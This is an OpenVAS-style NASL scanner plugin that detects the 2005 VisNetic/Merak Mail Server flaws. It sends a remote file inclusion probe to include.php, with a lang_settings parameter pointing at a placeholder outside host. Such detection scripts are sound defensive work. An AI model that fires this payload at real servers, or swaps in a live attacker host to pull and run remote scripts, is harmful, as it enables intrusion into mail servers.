VisNetic / Merak Mail Server multiple flaws

# SPDX-FileCopyrightText: 2005 David Maciejak
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

# Ref: Tan Chew Keong, Secunia Research

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.20346");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2005-4556", "CVE-2005-4557", "CVE-2005-4558", "CVE-2005-4559");
  script_name("VisNetic / Merak Mail Server multiple flaws");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2005 David Maciejak");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 32000);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://secunia.com/secunia_research/2005-62/advisory/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/16069");
  script_xref(name:"URL", value:"http://www.deerfield.com/download/visnetic-mailserver/");

  script_tag(name:"solution", value:"Upgrade to Merak Mail Server 8.3.5.r / VisNetic Mail Server version
  8.3.5 or later.");

  script_tag(name:"summary", value:"The remote webmail server is affected by multiple vulnerabilities
  which may allow an attacker to execute arbitrary commands on the remote host.");

  script_tag(name:"impact", value:"An attacker could send specially-crafted URLs to execute arbitrary
  scripts, perhaps taken from third-party hosts, or to disclose the content of files on the remote system.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("misc_func.inc");

port = http_get_port(default:32000);
if(!http_can_host_php(port:port))
  exit(0);

vt_strings = get_vt_strings();
vt_string = vt_strings["lowercase"];

# nb: software is accessible through either "/mail" (default) or "/".
foreach dir(make_list("/mail", "")) {

  url = string(dir, "/accounts/inc/include.php?language=0&lang_settings[0][1]=http://xxxxxxxxxxxxxxx/", vt_string, "/");
  req = http_get(item:url, port:port);
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);

  if("http://xxxxxxxxxxxxxxx/" + vt_string + "/alang.html" >< res) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);